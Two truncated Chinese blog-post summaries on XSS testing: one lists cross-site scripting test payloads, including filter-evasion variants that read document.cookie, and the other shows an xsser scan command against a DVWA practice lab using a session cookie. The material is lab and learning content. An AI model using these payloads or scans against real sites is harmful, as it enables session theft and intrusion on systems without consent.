摘要： 测试payload： <script>alert('XSS')</script> <scriipt>alert(document.cookie)</script> ><scriipt>alert(document.cookie)</script> ='><scriipt>alert(document 阅读全文

摘要： XSSER 利用xsser检测dvwa平台，因为dvwa需要登录后使用，所以必须加上cookie 检测：xsser -u "http://192.168.221.1//dvwa/vulnerabilities" -g "xss_r/?name=1" --cookie = "security=low; 阅读全文